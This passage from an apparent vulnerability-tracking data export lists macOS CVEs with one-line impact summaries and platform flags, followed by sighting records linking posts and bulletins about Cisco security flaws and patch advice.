local attacker may be able to cause unexpected system termination or corrupt kernel memory\n        TBDTBD\n        NoNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-65381\n        AppleMobileFileIntegrity\n        A malicious app may be able to break out of its sandbox\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84522\n        Archive Utility\n        An app may be able to access sensitive user data\n        TBDTBD\n        NoNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-84584\n        Archive Utility\n        An app may be able to break out of its sandbox\n        TBDTBD\n        NoNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-65342\n        ATS\n        An app may be able to access sensitive user data\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84525\n        ATS\n        An app may be able to access user-sensitive data\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-65339\n        Audio\n        An app may be able to leak sensitive user information\n        TBDTBD\n        NoNoNoNoYesYesYesYesNoNo\n      \n      \n        CVE-2026-84583\n        AuthKit\n        A local app may be able to read a persistent account identifier\n        TBDTBD\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-84570\n        autofs\n        An app may be able to bypass Gatekeeper checks\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-65410\n        AVEVideoEncoder\n        An app may be able to cause unexpected system termination\n        TBDTBD\n        YesYesYesYesNoYesYesYesNoNo\n      \n      \n        CVE-2026-84616\n        AVEVideoEncoder\n        An app may be able to cause unexpected system termination\n        TBDTBD\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-65406\n        BackgroundAssets\n        An app may be able to access sensitive user data\n        TBDTBD\n        YesYesYesYesYesYesNoYesNoNo\n      \n      \n        CVE-2026-86878\n        Camera\n        An app may be able to access sensitive user data\n        TBDTBD\n        YesNoNoNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-84567\n        cd9660\n        An app may be able to cause unexpected system termination\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-86893\n        CloudKit\n        An app may be able to read device name\n        TBDTBD\n        YesNoNoNoNoYesYesYesNoNo\n      \n      \n        CVE-2026-65399\n        copyfile\n        An archive may be able to bypass Gatekeeper\n        TBDTBD\n        YesYesYesYesYesNoYesYesNoNo\n      \n      \n        CVE-2026-86891\n        Core Bluetooth\n        An app may be able to access Bluetooth device information\n        TBDTBD\n        NoNoYesYesYesNoYesNoNoNo\n      \n      \n        CVE-2026-43683\n        CoreDrag\n        An app may be able to cause unexpected process termination or disclose process memory\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-43789\n        CoreMedia\n        An app may be able to access user-sensitive data\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-65344\n        CoreMedia\n        Processing a maliciously crafted video file may lead to unexpected app termination\n        TBDTBD\n        YesYesYesYesYesYesNoYesNoNo\n      \n      \n        CVE-2026-43702\n        CoreMedia Video Toolbox\n        Processing a maliciously crafted video file may lead to unexpected app termination or corrupt process memory\n        TBDTBD\n        NoYesNoYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84624\n        CoreML\n        A sandboxed app may be able to access restricted files\n        TBDTBD\n        YesYesYesYesYesNoNoYesNoNo\n      \n      \n        CVE-2026-84559\n        CoreServices\n        A malicious application may be able to access restricted files\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84574\n        CoreServices\n        An app may be able to bypass Privacy preferences\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84511\n        CoreUI\n        Processing a maliciously crafted asset catalog may lead to unexpected process termination\n        TBDTBD\n        YesNoYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-84571\n        CoreUI\n        Processing a maliciously crafted image may lead to unexpected app termination\n        TBDTBD\n        YesNoYesNoNoYesYesYesNoNo\n      \n      \n        CVE-2026-64790\n        CUPS\n        An app may be able to gain elevated privileges\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84540\n        CUPS\n        An app may be able to access sensitive user data\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84541\n        CUPS\n        An application may be able to access restricted files\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84612\n        DeviceCheck\n        An app may be able to read persistent device identifiers\n        TBDTBD\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-84512\n        Disk Images\n        Mounting a maliciously crafted disk image may cause unexpected system termination or corrupt kernel memory\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84550\n        Disk Images\n        An app may be able to cause unexpected system termination\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84552\n        Disk Images\n        An app may be able to cause unexpected system termination\n        TBDTBD\n        YesYesYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84565\n        Disk Images\n        Processing a maliciously crafted disk image may lead to unexpected app termination\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84510\n        exFAT\n        Mounting a maliciously crafted volume may lead to unexpected system termination\n        TBDTBD\n        YesYesYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-86900\n        exFAT\n        Mounting a maliciously crafted exFAT volume may cause unexpected system termination or kernel memory disclosure\n        TBDTBD\n        NoNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-86901\n        exFAT\n        Mounting a maliciously crafted exFAT volume may cause unexpected system termination or kernel memory disclosure\n        TBDTBD\n        NoNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-43785\n        File Bookmark\n        An app may be able to modify a file it only had permission to read\n        TBDTBD\n        YesNoYesYesYesYesNoYesNoNo\n      \n      \n        CVE-2026-43688\n        Filters\n        Processing a maliciously crafted file may lead to unexpected app termination\n        TBDTBD\n        YesNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-84524\n        FontParser\n        Processing a maliciously crafted font file may lead to unexpected app termination\n        TBDTBD\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-84569\n        Foundation\n        An app may be able to access sensitive user data\n        TBDTBD\n        NoNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-86911\n        Foundation\n        A malicious app may be able to bypass clickjacking protections for secure prompts\n        TBDTBD\n        NoNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-84618\n        Game Center\n        An app may be able to access sensitive user data\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84533\n        Heimdal\n        An attacker in a privileged network position may be able to modify network traffic\n        TBDTBD\n        YesNoYesNoNoYesYesNoNoNo\n      \n      \n        CVE-2026-64714\n        ImageIO\n        Processing a maliciously crafted image may lead to a denial-of-service\n        TBDTBD\n        NoNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-84564\n        ImageIO\n        Processing a maliciously crafted image may result in disclosure of process memory\n        TBDTBD\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-86869\n        ImageIO\n        Processing a maliciously crafted image may lead to unexpected app termination\n        TBDTBD\n        NoYesYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-43743\n        IOGPUFamily\n        An app may be able to cause unexpected system termination\n        TBDTBD\n        NoYesNoYesNoNoNoNoNoNo\n      \n      \n        CVE-2026-65398\n        IOMobileFrameBuffer\n        An app may be able to cause unexpected system termination or corrupt kernel memory\n        TBDTBD\n        YesNoYesNoNoYesYesYesNoNo\n      \n      \n        CVE-2026-65354\n        iWork\n        A malicious app may be able to break out of its sandbox\n        TBDTBD\n        YesNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-28935\n        Kernel\n        An app may be able to cause unexpected system termination or corrupt kernel memory\n        TBDTBD\n        NoNoNoNoYesYesYesYesNoNo\n      \n      \n        CVE-2026-28968\n        Kernel\n        An app may be able to cause unexpected system termination or corrupt kernel memory\n        TBDTBD\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-43790\n        Kernel\n        A remote attacker may be able to cause unexpected system termination or corrupt kernel memory\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-65358\n        Kernel\n        An app may be able to cause unexpected system termination\n        TBDTBD\n        YesNoYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-65359\n        Kernel\n        A local user may be able to cause unexpected system termination or read kernel memory\n        TBDTBD\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-65360\n        Kernel\n        An app may be able to cause unexpected system termination\n        TBDTBD\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-65369\n        Kernel\n        A malicious application may bypass Gatekeeper checks\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-65371\n        Kernel\n        An app may be able to disclose kernel memory\n        TBDTBD\n        NoNoNoNoYesNoNoNoNoNo\n      \n      \n        CVE-2026-65377\n        Kernel\n        An app may be able to cause unexpected system termination\n        TBDTBD\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-84507\n        Kernel\n        An app may be able to cause unexpected system termination or corrupt kernel memory\n        TBDTBD\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-84530\n        Kernel\n        An app may be able to disclose kernel memory\n        TBDTBD\n        YesYesYesYesNoYesYesYesNoNo\n      \n      \n        CVE-2026-84544\n        Kernel\n        Connecting to a malicious NFS server may cause unexpected system termination or corrupt kernel memory\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84549\n        Kernel\n        Connecting to a malicious NFS server may cause unexpected system termination or corrupt kernel memory\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84558\n        Kernel\n        An app may be able to cause unexpected system termination\n        TBDTBD\n        NoNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-84561\n        Kernel\n        An app may be able to cause unexpected system termination or corrupt kernel memory\n        TBDTBD\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-84566\n        Kernel\n        A local attacker may be able to cause unexpected system termination or corrupt kernel memory\n        TBDTBD\n        YesYesYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84602\n        Kernel\n        An app may be able to cause unexpected system termination\n        TBDTBD\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-84622\n        Kernel\n        An app with root privileges may be able to read uninitialized kernel memory\n        TBDTBD\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-84514\n        Kext Management\n        An app may be able to modify protected parts of the file system\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84556\n        Keychain Access\n        An app may be able to access sensitive user data\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-65382\n        LaunchServices\n        An app may be able to access sensitive user data\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-86870\n        libarchive\n        Processing a maliciously crafted file may lead to unexpected app termination\n        TBDTBD\n        YesYesYesNoNoNoYesYesNoNo\n      \n      \n        CVE-2026-84577\n        libxpc\n        An app may be able to bypass sandbox restrictions\n        TBDTBD\n        NoNoYesYesNoNoNoNoNoNo\n      \n      \n        CVE-2026-43787\n        Mail\n        An attacker in a privileged network position may be able to leak sensitive user information\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84573\n        Mail\n        An app may be able to access sensitive user data\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84628\n        MediaRemote\n        A sandboxed app may be able to access the System Keychain\n        TBDTBD\n        YesNoYesNoNoYesYesYesNoNo\n      \n      \n        CVE-2026-86924\n        MobileAccessoryUpdater\n        Connecting a malicious accessory may cause unexpected system termination\n        TBDTBD\n        YesYesYesYesNoNoNoNoNoNo\n      \n      \n        CVE-2026-65411\n        MobileBackup\n        An app may be able to modify protected parts of the file system\n        TBDTBD\n        YesYesNoNoNoNoNoYesNoNo\n      \n      \n        CVE-2026-84598\n        MobileBackup\n        An attacker with physical access to a trust-paired device may be able to read and write arbitrary files\n        TBDTBD\n        YesYesNoNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-84497\n        Model I/O\n        Opening a maliciously crafted file may lead to unexpected process termination\n        TBDTBD\n        YesYesYesYesYesYesNoYesNoNo\n      \n      \n        CVE-2026-84615\n        Music\n        An app may be able to access sensitive user data\n        TBDTBD\n        YesYesNoNoNoYesNoYesNoNo\n      \n      \n        CVE-2026-43695\n        NetworkExtension\n        An app may be able to access sensitive user data\n        TBDTBD\n        YesNoYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-84585\n        NetworkExtension\n        An app may be able to access local network devices without user consent\n        TBDTBD\n        NoNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-84626\n        NetworkExtension\n        An app may be able to identify what other apps a user has installed\n        TBDTBD\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-86902\n        NSDocument\n        An app may be able to access sensitive user data\n        TBDTBD\n        NoNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-84629\n        Photos Storage\n        An app may be able to fingerprint the user\n        TBDTBD\n        YesNoNoNoNoYesYesYesNoNo\n      \n      \n        CVE-2026-84623\n        Power Management\n        An app may be able to fingerprint the device\n        TBDTBD\n        YesYesNoNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-84578\n        quarantine\n        An app may be able to break out of its sandbox\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84580\n        quarantine\n        An app may be able to break out of its sandbox\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84548\n        Quick Look\n        Processing a maliciously crafted document may lead to an out-of-bounds read\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-28966\n        RealityKit\n        Processing a maliciously crafted file may lead to unexpected app termination\n        TBDTBD\n        YesYesYesYesYesYesNoYesNoNo\n      \n      \n        CVE-2026-84532\n        RealityKit\n        Opening a maliciously crafted file may cause unexpected process termination or disclose process memory\n        TBDTBD\n        YesYesYesYesYesYesNoYesNoNo\n      \n      \n        CVE-2026-65403\n        Reminders\n        An app may be able to access sensitive user data\n        TBDTBD\n        YesYesYesYesYesNoYesYesNoNo\n      \n      \n        CVE-2026-86897\n        Safe Browsing\n        An app may be able to access sensitive user data\n        TBDTBD\n        YesYesYesNoNoNoNoYesYesNo\n      \n      \n        CVE-2026-65380\n        Sandbox\n        An app may be able to access protected user data\n        TBDTBD\n        NoNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-84551\n        Sandbox\n        An app may be able to bypass network restrictions\n        TBDTBD\n        YesNoYesNoNoNoYesYesNoNo\n      \n      \n        CVE-2026-84603\n        Sandbox Profiles\n        An app may be able to access sensitive user data\n        TBDTBD\n        YesNoNoNoNoNoYesYesNoNo\n      \n      \n        CVE-2026-84625\n        Sandbox Profiles\n        An app may be able to fingerprint the user\n        TBDTBD\n        YesNoYesNoNoNoYesYesNoNo\n      \n      \n        CVE-2026-43697\n        SceneKit\n        Processing a maliciously crafted 3D file may lead to an out-of-bounds read\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84526\n        SceneKit\n        Processing a maliciously crafted 3D scene may lead to unexpected process termination\n        TBDTBD\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-84546\n        SceneKit\n        Processing a maliciously crafted 3D model may lead to memory corruption\n        TBDTBD\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-84620\n        SceneKit\n        Processing a maliciously crafted 3D model may lead to memory corruption\n        TBDTBD\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-84531\n        Security\n        Processing maliciously crafted NTLM input may lead to unexpected app termination\n        TBDTBD\n        YesNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-86881\n        Security\n        An attacker with a compromised intermediate certificate authority may be able to issue certificates with arbitrary extended key usages\n        TBDTBD\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-84600\n        Shortcuts\n        A malicious shortcut may be able to send messages without user confirmation\n        TBDTBD\n        YesNoYesNoNoYesYesYesNoNo\n      \n      \n        CVE-2026-86884\n        Siri\n        An app may be able to access sensitive user data\n        TBDTBD\n        YesNoYesNoNoYesYesNoNoNo\n      \n      \n        CVE-2026-86890\n        Siri Suggestions\n        An attacker with physical access to a locked device may be able to view sensitive user information\n        TBDTBD\n        YesYesNoNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-65376\n        SMB\n        An app may be able to cause unexpected system termination\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84509\n        SMB\n        Connecting to a malicious SMB server may lead to unexpected system termination\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84609\n        Software Update\n        An app may be able to modify protected system files\n        TBDTBD\n        YesNoYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-65361\n        SoftwareUpdate\n        An app may be able to access sensitive user data\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-65378\n        Spotlight\n        An app may be able to access sensitive user data\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84621\n        Spotlight\n        An app may be able to access sensitive user data\n        TBDTBD\n        YesYesYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-86892\n        SpringBoard\n        An app may be able to cause a denial-of-service\n        TBDTBD\n        YesYesNoNoNoNoNoYesNoNo\n      \n      \n        CVE-2026-65345\n        Storage\n        An app may be able to access user-sensitive data\n        TBDTBD\n        YesYesYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-65348\n        Storage\n        An app may be able to modify protected parts of the file system\n        TBDTBD\n        YesYesYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-43791\n        StorageKit\n        An app may be able to read arbitrary files\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84513\n        Symptom Framework\n        A malicious application may be able to determine a user's current location\n        TBDTBD\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-65383\n        System Settings\n        An app may bypass Gatekeeper checks\n        TBDTBD\n        NoNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-86909\n        System Settings\n        An app may be able to bypass Gatekeeper checks\n        TBDTBD\n        NoNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-84527\n        TCC\n        An app may be able to access sensitive user data\n        TBDTBD\n        YesNoYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-84589\n        TCC\n        An app may be able to modify Privacy preferences\n        TBDTBD\n        NoNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-86886\n        TCC\n        An app may be able to modify protected system files\n        TBDTBD\n        YesYesNoNoNoNoYesNoNoNo\n      \n      \n        CVE-2026-65329\n        Telephony\n        An attacker in a privileged network position may be able to bypass IPSec authentication and intercept network traffic\n        TBDTBD\n        YesNoNoNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-86887\n        Time Zone\n        An app may be able to bypass certain Privacy preferences\n        TBDTBD\n        YesYesNoNoNoNoNoYesNoNo\n      \n      \n        CVE-2026-43696\n        Touch Bar\n        An app may be able to capture Touch Bar content without authorization\n        TBDTBD\n        NoNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-84572\n        udf\n        An app may be able to cause unexpected system termination or read kernel memory\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-28899\n        WebDAV\n        An app may bypass Gatekeeper checks\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-65375\n        WebDAV\n        An app may be able to cause unexpected system termination\n        TBDTBD\n        NoNoYesNoYesNoNoNoNoNo\n      \n      \n        CVE-2026-84635\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected process termination\n        TBDTBD\n        YesNoYesNoNoYesYesYesYesNo\n      \n      \n        CVE-2026-86898\n        WebKit\n        Opening a maliciously crafted webarchive file may lead to universal cross-site scripting\n        TBDTBD\n        YesNoYesNoNoNoNoYesYesNo\n      \n      \n        CVE-2026-84636\n        Wi-Fi Connectivity\n        An app may be able to access sensitive user data\n        TBDTBD\n        YesNoNoNoNoYesYesYesNoNo\n      \n      \n        CVE-2026-43674\n        Wi-Fi3\n        An attacker with physical access to an unlocked device may be able to view Wi-Fi passwords without authentication\n        TBDTBD\n        YesNoNoNoNoNoNoNoNoNo\n      \n      \n    \n    \n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n  \nWe\u2019ll continue these macOS updates if people find them useful. Stay tuned for the regularly schedule Patch Tuesday blog covering Adobe and Microsoft.", "creation_timestamp": "2026-09-17T01:01:15.209475Z"}, {"uuid": "03952d17-4d5f-494b-9bb1-5c16a879d3bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20341", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/117284144755354433", "content": "CVE-2026-20341: CRITICAL flaw in Cisco Secure FMC Software sftunnel protocol. Admin remote attackers can gain root via insecure deserialization. Limit admin access, monitor for abuse, and check for patch updates. https://radar.offseq.com/threat/a-vulnerability-in-the-sftunnel-inter-device-communication-protocol-of-cisco-secure-fmc-software-could-c3ce1a1e4096035e #OffSeq #Cisco #Infosec #Vulnerability", "creation_timestamp": "2026-09-17T03:00:25.933295Z"}, {"uuid": "9f9ad554-a1a8-42f9-b87e-8d2f55356955", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20341", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mvony7jn5t2f", "content": "Cisco Secure FMC Software: CRITICAL sftunnel flaw (CVE-2026-20341) lets authenticated admins gain root. Restrict admin access, monitor FTD devices, and check vendor guidance. https://radar.offseq.com/threat/a-vulnerability-in-the-sftunnel-inter-device-communication-protocol-of-cisco-secure-fmc-so...", "creation_timestamp": "2026-09-17T03:00:28.633094Z"}, {"uuid": "4d252129-1a0e-47b9-854f-d1a7588d9447", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/termsofsurrender.bsky.social/post/3mvortzju2u2m", "content": "Cisco Firewall Hole Leaks Root Access While Bureaucrats Leak Time\nPANIC 87% | Lag 1.12h | Cisco firewall vulnerabilities CVE-2026-20079 and CVE-2026-20316 are being exploited in the wild for\n#AfterShockIndex\nREAD MORE", "creation_timestamp": "2026-09-17T04:09:42.541166Z"}, {"uuid": "9e89b923-7d3f-4b92-9ad8-14267c7e4ef5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/termsofsurrender.bsky.social/post/3mvortzju2u2m", "content": "Cisco Firewall Hole Leaks Root Access While Bureaucrats Leak Time\nPANIC 87% | Lag 1.12h | Cisco firewall vulnerabilities CVE-2026-20079 and CVE-2026-20316 are being exploited in the wild for\n#AfterShockIndex\nREAD MORE", "creation_timestamp": "2026-09-17T04:09:42.611988Z"}, {"uuid": "249cd168-5b09-414b-9704-4c6d38df8230", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20234", "type": "seen", "source": "https://bsky.app/profile/suriq.io/post/3mvoscn356l2g", "content": "CVE-2026-20234, CVE-2026-20332 and CVE-2026-20331 are critical vulnerabilities Cisco disclosed in hardening releases for Identity Services Engine and Secure Firewall ASA, FTD and FMC. No exploitation is confirmed. Fixed software is available.", "creation_timestamp": "2026-09-17T04:17:52.316189Z"}, {"uuid": "8f97b9fa-e8ea-4f84-82b3-caa98147eb76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20332", "type": "seen", "source": "https://bsky.app/profile/suriq.io/post/3mvoscn356l2g", "content": "CVE-2026-20234, CVE-2026-20332 and CVE-2026-20331 are critical vulnerabilities Cisco disclosed in hardening releases for Identity Services Engine and Secure Firewall ASA, FTD and FMC. No exploitation is confirmed. Fixed software is available.", "creation_timestamp": "2026-09-17T04:17:52.359661Z"}, {"uuid": "6fc4c79d-bd8a-47c8-b54f-233f66ba1939", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20331", "type": "seen", "source": "https://bsky.app/profile/suriq.io/post/3mvoscn356l2g", "content": "CVE-2026-20234, CVE-2026-20332 and CVE-2026-20331 are critical vulnerabilities Cisco disclosed in hardening releases for Identity Services Engine and Secure Firewall ASA, FTD and FMC. No exploitation is confirmed. Fixed software is available.", "creation_timestamp": "2026-09-17T04:17:52.400182Z"}, {"uuid": "a39eef56-c27a-46f1-a4a6-3de4290df2e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20192", "type": "seen", "source": "https://bsky.app/profile/suriq.io/post/3mvot5kn3px2r", "content": "\ud83d\udd34 EXPLOITED\n\nCisco Identity Services Engine has a critical flaw (CVSS 10.0, CVE-2026-20192) that Cisco says is already being exploited.\nOne of six bugs fixed in Cisco's Sept 2026 ISE hardening release. Releases 3.0-3.5 affected.\nPatch now.", "creation_timestamp": "2026-09-17T04:32:56.458179Z"}, {"uuid": "d299c04a-6fd7-4fa6-983c-fa66a1df9d52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20120", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260917", "content": "", "creation_timestamp": "2026-09-17T04:45:02.183380Z"}, {"uuid": "4bd4458a-588d-436e-9c95-445481194ce7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20121", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260917", "content": "", "creation_timestamp": "2026-09-17T04:45:03.761573Z"}, {"uuid": "7de9abaf-ebc6-43fe-a90f-78b094b10933", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20154", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260917", "content": "", "creation_timestamp": "2026-09-17T04:45:05.866930Z"}, {"uuid": "07a9a1e6-d40b-4ba2-acca-0ec6b32bb536", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20222", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260917", "content": "", "creation_timestamp": "2026-09-17T04:45:07.767341Z"}, {"uuid": "757bd2ac-9781-4d1b-a88a-2bcffce17a05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20248", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260917", "content": "", "creation_timestamp": "2026-09-17T04:45:09.660194Z"}, {"uuid": "745cfb75-e69a-44e0-b130-d919c6fe68ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20249", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260917", "content": "", "creation_timestamp": "2026-09-17T04:45:11.747040Z"}, {"uuid": "94bb9a92-f726-4ae6-a515-e475977d56c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20250", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260917", "content": "", "creation_timestamp": "2026-09-17T04:45:13.678783Z"}, {"uuid": "2f855192-2606-4de4-9f54-3d295c369cd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20274", "type": "seen", "source": 